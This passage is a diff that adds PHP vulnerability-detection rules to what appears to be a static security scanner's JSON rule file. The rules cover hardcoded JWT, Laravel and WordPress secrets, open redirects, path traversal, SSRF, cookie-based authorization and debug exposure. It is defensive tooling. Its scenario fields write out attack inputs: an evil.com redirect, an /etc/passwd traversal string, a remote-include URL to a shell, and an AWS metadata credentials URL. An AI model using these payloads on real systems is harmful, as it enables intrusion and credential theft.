"pattern": "(?:JWT\\s*::\\s*encode\\s*\\(\\s*[^,]+,\\s*['\\\"]w[^'\\\"]{7,}['\\\"]|hash_hmac\\s*\\(\\s*[^,]+,\\s*[^,]+,\\s*['\\\"]w[^'\\\"]{7,}['\\\"])\\s*[,)]",
|
|
388
|
+
"flags": "gi",
|
|
389
|
+
"antipattern": "getenv|env\\(|\\$_ENV",
|
|
390
|
+
"antipattern_flags": "i",
|
|
391
|
+
"lookahead": 40,
|
|
392
|
+
"file_types": [
|
|
393
|
+
"php"
|
|
394
|
+
],
|
|
395
|
+
"why": "A hardcoded JWT signing key means tokens can be forged by anyone with source code access.",
|
|
396
|
+
"scenario": "JWT::encode($payload, \"supersecret\") in source. Attacker reads key from repo, forges tokens for any user ID or role.",
|
|
397
|
+
"fix": "$secret = getenv(\"JWT_SECRET\"); JWT::encode($payload, $secret, \"HS256\"). Generate with: php -r \"echo bin2hex(random_bytes(64));\""
|
|
398
|
+
},
|
|
399
|
+
{
|
|
400
|
+
"id": "PHP-REDIRECT-001",
|
|
401
|
+
"name": "Open redirect — unvalidated request parameter used in header redirect",
|
|
402
|
+
"severity": "HIGH",
|
|
403
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
404
|
+
"pattern": "header\\s*\\(\\s*['\\\"]Location\\s*:[^'\\\"]*['\\\"],\\s*\\.\\s*\\$_(?:GET|POST|REQUEST|COOKIE)|header\\s*\\(\\s*\\\"Location:\\s*\\$_(?:GET|POST|REQUEST)",
|
|
405
|
+
"flags": "gi",
|
|
406
|
+
"file_types": [
|
|
407
|
+
"php"
|
|
408
|
+
],
|
|
409
|
+
"why": "Concatenating user input into a Location header gives attackers full control over the redirect destination, enabling phishing attacks under your domain.",
|
|
410
|
+
"scenario": "header(\"Location: \" . $_GET[\"next\"]) after login. Attacker sends users to yoursite.com/login?next=https://evil.com. After authenticating, users land on the phishing page.",
|
|
411
|
+
"fix": "$next = $_GET[\"next\"] ?? \"/\"; $parsed = parse_url($next); if (!empty($parsed[\"host\"])) $next = \"/\"; header(\"Location: \" . $next);"
|
|
412
|
+
},
|
|
413
|
+
{
|
|
414
|
+
"id": "PHP-PATH-001",
|
|
415
|
+
"name": "Path traversal — user input used in file_get_contents or include",
|
|
416
|
+
"severity": "CRITICAL",
|
|
417
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
418
|
+
"pattern": "(?:file_get_contents|file_put_contents|readfile|include|require|include_once|require_once|fopen)\\s*\\(\\s*(?:\\$_(?:GET|POST|REQUEST|COOKIE)|[^;]{0,60}\\$_(?:GET|POST|REQUEST))",
|
|
419
|
+
"flags": "gi",
|
|
420
|
+
"file_types": [
|
|
421
|
+
"php"
|
|
422
|
+
],
|
|
423
|
+
"why": "Passing user-supplied input to file functions or include statements allows reading arbitrary files (LFI) or in some configurations executing remote code (RFI).",
|
|
424
|
+
"scenario": "include($_GET[\"page\"] . \".php\"). Attacker requests ?page=../../../../etc/passwd or ?page=http://evil.com/shell (RFI if allow_url_include is on).",
|
|
425
|
+
"fix": "$allowed = [\"home\", \"about\", \"contact\"]; $page = $_GET[\"page\"] ?? \"home\"; if (!in_array($page, $allowed)) $page = \"home\"; include(\"pages/\" . $page . \".php\");"
|
|
426
|
+
},
|
|
427
|
+
{
|
|
428
|
+
"id": "PHP-SSRF-001",
|
|
429
|
+
"name": "SSRF — user-controlled URL passed to curl or file_get_contents",
|
|
430
|
+
"severity": "HIGH",
|
|
431
|
+
"category": "Server-Side Request Forgery (OWASP A10)",
|
|
432
|
+
"pattern": "(?:curl_setopt\\s*\\([^,]+,\\s*CURLOPT_URL\\s*,\\s*\\$_(?:GET|POST|REQUEST)|file_get_contents\\s*\\(\\s*\\$_(?:GET|POST|REQUEST)\\s*\\[)",
|
|
433
|
+
"flags": "gi",
|
|
434
|
+
"file_types": [
|
|
435
|
+
"php"
|
|
436
|
+
],
|
|
437
|
+
"why": "SSRF via curl or file_get_contents allows attackers to make the PHP server send requests to internal services — including cloud metadata endpoints, internal APIs, Redis, and other infrastructure.",
|
|
438
|
+
"scenario": "curl_setopt($ch, CURLOPT_URL, $_GET[\"url\"]) to proxy images. Attacker sends ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/. Server returns AWS credentials.",
|
|
439
|
+
"fix": "$url = $_GET[\"url\"]; $parsed = parse_url($url); $allowed = [\"cdn.example.com\", \"api.example.com\"]; if (!in_array($parsed[\"host\"], $allowed)) die(\"Forbidden\");"
|
|
440
|
+
},
|
|
441
|
+
{
|
|
442
|
+
"id": "PHP-AUTH-007",
|
|
443
|
+
"name": "Authentication based on unvalidated $_COOKIE value",
|
|
444
|
+
"severity": "HIGH",
|
|
445
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
446
|
+
"pattern": "\\$_COOKIE\\s*\\[['\\\"][^'\\\"]{2,}['\\\"]\\]\\s*(?:==|===|!=|!==)\\s*['\\\"](?:admin|root|superuser|true|1|yes)|if\\s*\\([^)]{0,100}\\$_COOKIE\\s*\\[['\\\"](?:role|admin|is_admin|user_type|access|level|auth)['\\\"]",
|
|
447
|
+
"flags": "gi",
|
|
448
|
+
"file_types": [
|
|
449
|
+
"php"
|
|
450
|
+
],
|
|
451
|
+
"why": "Cookie values are completely attacker-controlled — any user can set any cookie to any value using browser dev tools. Using $_COOKIE directly for authorization decisions gives attackers trivial privilege escalation.",
|
|
452
|
+
"scenario": "if ($_COOKIE[\"role\"] === \"admin\") — attacker opens DevTools, sets cookie role=admin, reloads. Full admin access without any credentials.",
|
|
453
|
+
"fix": "Never trust cookie values directly for authorization. Store the role in the server-side session: $_SESSION[\"role\"] = \"admin\" after verified authentication."
|
|
454
|
+
},
|
|
455
|
+
{
|
|
456
|
+
"id": "PHP-EXPOSURE-001",
|
|
457
|
+
"name": "PHP error display enabled — errors exposed to browser",
|
|
458
|
+
"severity": "EXPOSURE",
|
|
459
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
460
|
+
"pattern": "ini_set\\s*\\(\\s*['\\\"]display_errors['\\\"]\\s*,\\s*['\\\"]?1['\\\"]?\\s*\\)|ini_set\\s*\\(\\s*['\\\"]display_errors['\\\"]\\s*,\\s*true\\s*\\)",
|
|
461
|
+
"flags": "gi",
|
|
462
|
+
"file_types": [
|
|
463
|
+
"php"
|
|
464
|
+
],
|
|
465
|
+
"why": "display_errors=1 sends PHP error messages, warnings, and notices directly to the browser response. These messages expose file paths, variable values, SQL queries, and application structure.",
|
|
466
|
+
"scenario": "ini_set(\"display_errors\", 1) left in from development. A malformed request triggers a database error exposing the full file path and database name.",
|
|
467
|
+
"fix": "In production: ini_set(\"display_errors\", 0); error_reporting(E_ALL); ini_set(\"log_errors\", 1); ini_set(\"error_log\", \"/var/log/php/errors.log\"); Log everything, display nothing."
|
|
468
|
+
},
|
|
469
|
+
{
|
|
470
|
+
"id": "PHP-EXPOSURE-002",
|
|
471
|
+
"name": "Laravel APP_DEBUG=true — debug mode in application config",
|
|
472
|
+
"severity": "EXPOSURE",
|
|
473
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
474
|
+
"pattern": "['\\\"]debug['\\\"]\\s*=>\\s*true|APP_DEBUG\\s*=\\s*true",
|
|
475
|
+
"flags": "gi",
|
|
476
|
+
"antipattern": "env\\s*\\(\\s*['\\\"]APP_DEBUG['\\\"]",
|
|
477
|
+
"antipattern_flags": "i",
|
|
478
|
+
"lookahead": 40,
|
|
479
|
+
"file_types": [
|
|
480
|
+
"php"
|
|
481
|
+
],
|
|
482
|
+
"why": "Laravel's debug mode exposes the Ignition error page which shows full stack traces, environment variables, request data, and config values on every unhandled exception.",
|
|
483
|
+
"scenario": "APP_DEBUG=true deployed to production. User triggers a 500 error. Ignition page reveals: DB_PASSWORD, APP_KEY, full stack trace with internal paths — fully visible to the user.",
|
|
484
|
+
"fix": "In config/app.php: \"debug\" => env(\"APP_DEBUG\", false). Ensure .env in production has APP_DEBUG=false."
|
|
485
|
+
},
|
|
486
|
+
{
|
|
487
|
+
"id": "PHP-EXPOSURE-003",
|
|
488
|
+
"name": "Laravel APP_KEY hardcoded or missing — encryption key in source",
|
|
489
|
+
"severity": "EXPOSURE",
|
|
490
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
491
|
+
"pattern": "['\\\"]key['\\\"]\\s*=>\\s*['\\\"]base64:[A-Za-z0-9+\\/=]{20,}['\\\"]",
|
|
492
|
+
"flags": "g",
|
|
493
|
+
"antipattern": "env\\s*\\(\\s*['\\\"]APP_KEY['\\\"]",
|
|
494
|
+
"antipattern_flags": "i",
|
|
495
|
+
"lookahead": 40,
|
|
496
|
+
"file_types": [
|
|
497
|
+
"php"
|
|
498
|
+
],
|
|
499
|
+
"why": "Laravel APP_KEY is used to encrypt cookies, sessions, queued jobs, and all data passed through Laravel's Crypt facade. A hardcoded or leaked key allows attackers to decrypt all encrypted application data.",
|
|
500
|
+
"scenario": "APP_KEY hardcoded in config/app.php, committed to git. Attacker decrypts all user session cookies and forges remember_me tokens for any user ID.",
|
|
501
|
+
"fix": "\"key\" => env(\"APP_KEY\") — this is the Laravel default. Generate: php artisan key:generate. Store only in .env (git-ignored) and production environment variables."
|
|
502
|
+
},
|
|
503
|
+
{
|
|
504
|
+
"id": "PHP-EXPOSURE-004",
|
|
505
|
+
"name": "WordPress database credentials or secret keys hardcoded in wp-config",
|
|
506
|
+
"severity": "EXPOSURE",
|
|
507
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
508
|
+
"pattern": "define\\s*\\(\\s*['\\\"](?:DB_PASSWORD|DB_USER|AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT)['\\\"]\\s*,\\s*['\\\"][^'\\\"]{8,}['\\\"]\\s*\\)",
|
|
509
|
+
"flags": "gi",
|
|
510
|
+
"antipattern": "getenv|putenv|\\$_ENV|\\$_SERVER",
|
|
511
|
+
"antipattern_flags": "i",
|
|
512
|
+
"lookahead": 40,
|
|
513
|
+
"file_types": [
|
|
514
|
+
"php"
|
|
515
|
+
],
|
|
516
|
+
"why": "WordPress stores database credentials and cryptographic salts directly in wp-config.php. If this file is accidentally exposed, all credentials and session signing keys are compromised.",
|
|
517
|
+
"scenario": "wp-config.php committed to a public GitHub repo. Attacker extracts DB_PASSWORD, connects directly to MySQL, dumps all user password hashes and personal data.",
|
|
518
|
+
"fix": "Load from environment: define(\"DB_PASSWORD\", getenv(\"DB_PASSWORD\")). Store actual values outside the webroot and outside version control."
|
|
519
|
+
}
|
|
520
|
+
]
|
|
521
|
+
}
|